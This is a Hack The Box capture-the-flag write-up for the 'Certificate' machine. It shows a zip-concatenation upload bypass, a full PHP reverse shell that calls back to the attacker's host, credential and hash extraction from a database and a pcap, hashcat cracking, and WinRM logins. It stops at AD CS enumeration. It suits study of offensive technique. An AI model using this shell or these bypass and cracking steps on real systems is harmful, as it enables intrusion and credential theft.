Post

HTB Writeup: Certificate

HTB Certificate: upload filter bypass via concatenated zips → PHP reverse shell → Pcap Analysis → AD CS ESC3 to Administrator.

HTB Writeup: Certificate

A quick walkthrough of HTB Certificate Windows Hard Box.

TL;DR

  • Foothold: Assignment upload → concatenated ZIP bypass to smuggle shell.php past content scanning → PHP rev-shell.
  • Creds: App db.php → MySQL dump → user list → wordlist crack (Sara.B).
  • Pivot: PCAP shows Kerberos AS-REQ → hashcat cracks Lion.SK.
  • User: Evil-WinRM as Lion.SK → user.txt.
  • Priv-Esc path: AD CS ESC3 (Enrollment Agent template) → on-behalf-of Ryan.K → get NT hash → export CA PFX → forge Administrator cert → admin hash → root.txt.

Initial enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ sudo nmap -Pn -n -sV -sC -oA certificate -A 10.129.155.14 -p- 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 10:08 CEST
Nmap scan report for 10.129.155.14
Host is up (0.026s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 16:11:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after:  2026-10-01T15:57:10
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after:  2026-10-01T15:57:10
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after:  2026-10-01T15:57:10
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after:  2026-10-01T15:57:10
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
62579/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-10-01T16:11:59
|_  start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   26.42 ms 10.10.14.1
2   32.34 ms 10.129.155.14

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 263.48 seconds


Foothold

We discover a webapp about courses and learning.

Main page

We can also register an account and login.

Registration

Once registered, we quickly spotted an upload function about submitting our assignment.

Upload

After some testing with Burp, we can conclude :

  • Allowed file extensions : .pdf, zip, docx, xlsx
  • Content is scanned, cannot include some strings (like ‘system’ for example)
  • If zip, it’s unzipped and then content is scanned as before.
  • No way found to bypass extension check.
  • Upload destination is displayed in the app after successful upload and file can be viewed / downloaded.

The point about zip is interesting because if the zip version is vulnerable, we can embed our malware into a second zip which will not be scanned.

Zip concatenation

The upload accepts pdf, zip, docx, xlsx, scans extracted content for bad strings, and shows the upload path afterward. Zipping two archives and concatenating them lets some pipelines scan only the first archive’s central directory—which leaves a second file tree unscanned.

Proof of Concept

We first prepared a simple minimal PoC displaying a phpinfo()

1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ cat shell.php                     
<?php echo "TEST-PHP"; phpinfo(); ?>

Then we prepared a dummy pdf (evil.pdf) in the same folder. This pdf can be any legit pdf file. Then we zipped each and concatenated into a single final zip file.

1
2
3
4
5
6
7
8
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ zip evil.zip evil.pdf
  adding: evil.pdf (stored 0%)
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ zip shell.zip shell.php
  adding: shell.php (stored 0%)
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ cat evil.zip shell.zip > final.zip

Note: Most unzip libraries rely on the End-of-Central-Directory (EOCD) at the end of the file, so they’ll normally only see the last archive (shell.zip). Others (7-Zip and some validators) scan for local file headers throughout and will extract both.

As we know the location of the uploaded file, we should find evil.pdf but also shell.php at the exact same location.

We called shell.php :

phpinfo

Awesome ! The php file wasn’t scanned !

So let’s now do the same with a reverse shell.

We simply used one of the available php revshells on :

https://www.revshells.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/bash';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
                                                $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.40', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

We started a nc listener :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(sc4nx㉿attackhost)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.129.155.14] 60287
SOCKET: Shell has connected! PID: 1196
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>
C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>id
'id' is not recognized as an internal or external command,
operable program or batch file.

C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>whoami
certificate\xamppuser

C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>

And boom ! We got a shell !

We quickly found db credentials :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\xampp\htdocs\certificate.htb>powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\certificate.htb> cat db.php
<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

We can now search for any credentials in the Mysql DB backend.

MySQL dump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -e "show databases;"

Database
certificate_webapp_db
information_schema
test

.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "show tables;"
Tables_in_certificate_webapp_db
course_sessions
courses
users
users_courses

.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "select * from users;"
id      first_name      last_name       username        email   password        created_at      role    is_active
1       Lorra   Armessa Lorra.AAA       lorra.aaa@certificate.htb       $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG    2024-12-23 12:43:10     teacher 1
6       Sara    Laracrof        Sara1200        sara1200@gmail.com      $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK    2024-12-23 12:47:11     teacher 1
7       John    Wood    Johney  johny009@mail.com       $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq    2024-12-23 13:18:18     student 1
8       Havok   Watterson       havokww havokww@hotmail.com     $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti    2024-12-24 09:08:04     teacher 1
9       Steven  Roman   stev    steven@yahoo.com        $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2    2024-12-24 12:05:05     student 1
10      Sara    Brawn   sara.b  sara.b@certificate.htb  $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6    2024-12-25 21:31:26     admin   1
12      test    test    test    sddss@dssdsd.com        $2y$04$iiTjaiETVlMztWuQ6f.fKuIC/aCP1flaZWwdOildcO6t5x1btSL8y    2025-10-01 18:13:42     student 1

So we took all these hashes and cracked them.

1
2
3
4
5
6
7
8
9
10
11
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ john hash.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt                                                
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182         (?)     
1g 0:00:00:00 DONE (2025-06-01 09:02) 1.818g/s 22254p/s 22254c/s 22254C/s monday1..vallejo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

And we got Sara.B password !

Sara.B is part of the Remote Management Users Group so we can connect to the server using evil-winrm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -u sara.b -p 'Blink182' -i 10.129.114.167
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls


    Directory: C:\Users\Sara.B\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01


*Evil-WinRM* PS C:\Users\Sara.B\Documents> cd ..
*Evil-WinRM* PS C:\Users\Sara.B> ls -Recurse


    Directory: C:\Users\Sara.B


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---       11/26/2024   4:12 PM                3D Objects
d-r---       11/26/2024   4:12 PM                Contacts
d-r---       11/26/2024   4:12 PM                Desktop
d-r---       11/26/2024   4:12 PM                Documents
d-r---       11/26/2024   4:12 PM                Downloads
d-r---       11/26/2024   4:12 PM                Favorites
d-r---       11/26/2024   4:12 PM                Links
d-r---       11/26/2024   4:12 PM                Music
d-r---       11/26/2024   4:12 PM                Pictures
d-r---       11/26/2024   4:12 PM                Saved Games
d-r---       11/26/2024   4:12 PM                Searches
d-r---       11/26/2024   4:12 PM                Videos


    Directory: C:\Users\Sara.B\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01


    Directory: C:\Users\Sara.B\Documents\WS-01


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap


*Evil-WinRM* PS C:\Users\Sara.B> 

In the Documents folder, we found a pcap and a txt file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> ls


    Directory: C:\Users\Sara.B\Documents\WS-01


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap


*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> cd ..
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls


    Directory: C:\Users\Sara.B\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01


*Evil-WinRM* PS C:\Users\Sara.B\Documents> cd WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> cat Description.txt
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> 

Pcap hashes extraction

using # NTLMRawUnhide.py :

https://github.com/mlgualtieri/NTLMRawUnHide

It’s interesting. The note is stating that a test was run with a correct and a bad password.

So we searched for hashes

1
2
3
4
5
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate/NTLMRawUnHide]
└─$ python NTLMRawUnHide.py -i ../WS-01_PktMon.pcap -q
Searching ../WS-01_PktMon.pcap for NTLMv2 hashes...

Administrator::WS-01:0f18018782d74f81:3ff29ba4b51e86ed1065c438b6713f28:01010000000000000588e3da922edb012a49d5aaa4eeea0c00000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e006                        30065007200740069006600690063006100740065002e006800740062000300280044004300300031002e00630065007200740069006600690063006100740065002e0068007400620005001e00630065007200740069006600690063006100740065002e00680074006                        200070008000588e3da922edb0106000400020000000800300030000000000000000000000000300000dc8f08a3fced11be77c988c86f35837e8ec242f6f5e1d65ec5247e3a87d8fe580a001000000000000000000000000000000000000900120063006900660073002                        f0044004300300031000000000000000000    

But these hashes are not crackable. However, the pcap is also containing kerberos requests. We looked for ASREQ stuff and get a hit !

https://github.com/jalvarezz13/Krb5RoastParser

1
2
3
4
5
6
7
8
┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate/Krb5RoastParser]
└─$ python krb5_roast_parser.py                                         
Usage: python roasting.py <pcap_file> <as_req/as_rep/tgs_rep>

┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate/Krb5RoastParser]
└─$ python krb5_roast_parser.py ../WS-01_PktMon.pcap as_req
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

Crack the hash

This time we were able to crack this hash and get Lion.SK password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate]
└─$ hashcat -m 19900 '$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 2941/5882 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 512 MB (1014 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 19900 (Kerberos 5, etype 18, Pre-Auth)
Hash.Target......: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7...e852f0
Time.Started.....: Thu Oct  2 14:12:10 2025 (11 secs)
Time.Estimated...: Thu Oct  2 14:12:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     1277 H/s (12.58ms) @ Accel:64 Loops:512 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13952/14344384 (0.10%)
Rejected.........: 0/13952 (0.00%)
Restore.Point....: 13824/14344384 (0.10%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:3584-4095
Candidate.Engine.: Device Generator
Candidates.#01...: gerber -> frumusik
Hardware.Mon.#01.: Util: 99%

Started: Thu Oct  2 14:11:59 2025
Stopped: Thu Oct  2 14:12:22 2025
                                                                

User Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -u Lion.SK -p '!QAZ2wsx' -i 10.129.114.167
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> ls
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> cd ..
*Evil-WinRM* PS C:\Users\Lion.SK> cd Desktop
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> ls


    Directory: C:\Users\Lion.SK\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        10/1/2025   5:40 PM             34 user.txt


*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> cat user.txt
eddf755beba018a11028bc6676160752
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> 


Privilege Escalation

Let’s check in BloodHound. We can see that Lion.SK is part of the “Domain CRA Managers” Group.

BloodHound

So this account can certainly do some stuff with certificates. Let’s check this point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad find -u Lion.SK -p '!QAZ2wsx'  -dc-ip 10.129.114.167 -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
